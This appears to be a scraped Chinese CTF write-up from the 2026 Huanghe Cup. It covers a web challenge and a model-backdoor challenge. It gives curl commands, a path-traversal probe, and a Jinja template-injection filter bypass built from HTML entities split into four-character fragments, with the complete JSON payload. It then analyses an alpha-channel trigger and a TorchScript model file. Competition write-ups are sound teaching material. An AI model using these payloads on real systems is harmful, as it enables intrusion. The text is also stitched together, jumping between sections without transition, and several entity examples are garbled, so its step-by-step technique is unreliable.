2026黄鹤杯-职业组部分writeup"

admin 2026-10-17 09:26:17 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

cover_image


请求和提交时必须使用同一个 cookie:

curl.exe --http1.0 -sS `  -c .\\cookies.txt `  -o .\\index.html `  http://119.36.240.224:46195/
从 HTML 中提取 nonce:
$html = Get-Content -Raw .\\index.html$nonce = [regex]::Match(  $html,    '/captcha\\?nonce=([^\"&]+)').Groups[1].Value
下载验证码:
curl.exe --http1.0 -sS `  -b .\\cookies.txt `  -o .\\captcha.png ` \"http://119.36.240.224:46195/captcha?nonce=$nonce\"
theme 只接受:
signalledgerember

目录穿越值会被直接拒绝:

{\"theme\":\"../../../../etc/passwd\"}

尝试提交:

{  \"title\": \"海报\",  \"subtitle\": \"测试\",  \"theme\": \"signal\",  \"fragments\": [\"黄鹤杯\"],  \"admin\": true,  \"template\": \"../../flag\",  \"flag\": \"probe\"}
预览结果只保留四个标准字段,额外字段会被服务端重新构造对象时丢弃。 将标题设置为: {{7*7}} 预览页中仍然显示原字符串,没有执行成 49。说明标题和副标题只是作为变量进入普通模板,并不是二次渲染点。 以下方向均没有得到有效结果:
  • /admin、/flag、/source、/app.py 等隐藏路由;
  • /preview/路径穿越;
  • 预览 ID SQL 注入;
  • 静态目录穿越;
  • 查询参数覆盖 theme、template、raw、download 等;
  • Flask 弱密钥字典爆破。

真正的突破口位于 fragments 的校验、实体解码和 Jinja 渲染顺序。 通过逐步缩短和增加分片,确认了以下行为:

  1. 每个 fragment 最多 4 个字符;
  2. fragment 总数量并不限制为 6,至少 20 个短分片可以提交;
  3. ASCII 花括号、Jinja 定界符和 flag 等敏感内容会被过滤;
  4. 服务端在过滤完成后会把 fragments 拼接;
  5. 拼接结果还会执行 HTML 实体解码;
  6. 解码后的字符串进入 Jinja 二次渲染。

核心数据流可以概括为:

用户 fragments
    ↓
逐片长度/关键词校验
    ↓
拼接 fragments
    ↓
HTML 实体解码
    ↓
Jinja 二次渲染
    ↓
插入最终预览页

漏洞本质是校验对象与实际渲染对象不一致:

● 过滤器看到的是 HTML 实体编码后的字符串;

● Jinja 看到的是实体解码后的危险模板。

直接提交下面的内容会被拦截: {{7\*7}}

如果把花括号改成 HTML 数字实体:

{  ->  {
}  ->  }

就可以让过滤器看不到原始花括号。

需要注意:无分号数字实体会继续吞掉后面的十进制数字。

例如: {ӕ\*7}}

第二个实体会被解析为 ӕ,最终得到: {ӕ\*7}}

正确构造只需要在第二个左花括号后保留分号: {{77}} 实体解码后正好是: {{77}}

由于每个 fragment 最多 4 个字符,将原始字符串拆分为:

[
  \"&#12\",
  \"3&#1\",
  \"23;7\",
  \"*7&#\",
  \"125&\",
  \"#125\"
]

完整 pack:

{
  \"title\": \"entity-exact\",
  \"subtitle\": \"post-validation decode probe\",
  \"theme\": \"signal\",
  \"fragments\": [
    \"&#12\",
    \"3&#1\",
    \"23;7\",
    \"*7&#\",
    \"125&\",
    \"#125\"
  ]
}

生成的预览中,右侧“正文”仍记录原始的 {{7\*7}},而左侧海报的最终渲染结果已经变成 49,确认 SSTI 成立。

R 0
G 0
B 0
A 256

也就是说:

  • 正常图与标记图的 RGB 三通道完全相同;
  • 仅 Alpha 通道存在变化;
  • 正好变化了 256 = 16 × 16 个像素。 继续计算变化区域的包围盒:
positions = np.argwhere(diff[:, :, 3] != 0)
print(positions.min(axis=0), positions.max(axis=0))

结果为: [44 44] [59 59]

所以后门触发器位于右下角: alpha[44:60, 44:60]

其尺寸为 16×16。

这与预处理分析完全一致:题目把肉眼不易察觉的二值触发图写入 PNG 的 Alpha 通道,而不是 RGB 通道。

model.pt 的文件头是: 50 4B 03 04

即 ZIP 文件头。TorchScript 模型本质上是一个 ZIP 容器,可以直接列出文件:

import zipfile

with zipfile.ZipFile(\"model.pt\") as z:
    for item in z.infolist():
        print(item.filename, item.file_size)

关键内容如下:

model/data/0                              36864
model/data/1                               8192
model/data/2                               8192
model/data.pkl                              494
model/code/__torch__/challenge_lib.py      2163

其中 model/code/torch/challenge\_lib.py 保存了 TorchScript 转换后的模型逻辑,model/data/0~2 是三个张量的原始数据。

通过 pickletools.dis() 分析 model/data.pkl:

import pickletools
import zipfile

with zipfile.ZipFile(\"model.pt\") as z:
    pickletools.dis(z.read(\"model/data.pkl\"))

可以得到张量名称和形状:

图片尺寸:1536 × 1024
文件大小:2284374 字节
SHA-256:bf6ceebbdbc61135b5f43749e7d33902647b6785b74371ebd0cd1b70ec4c7a99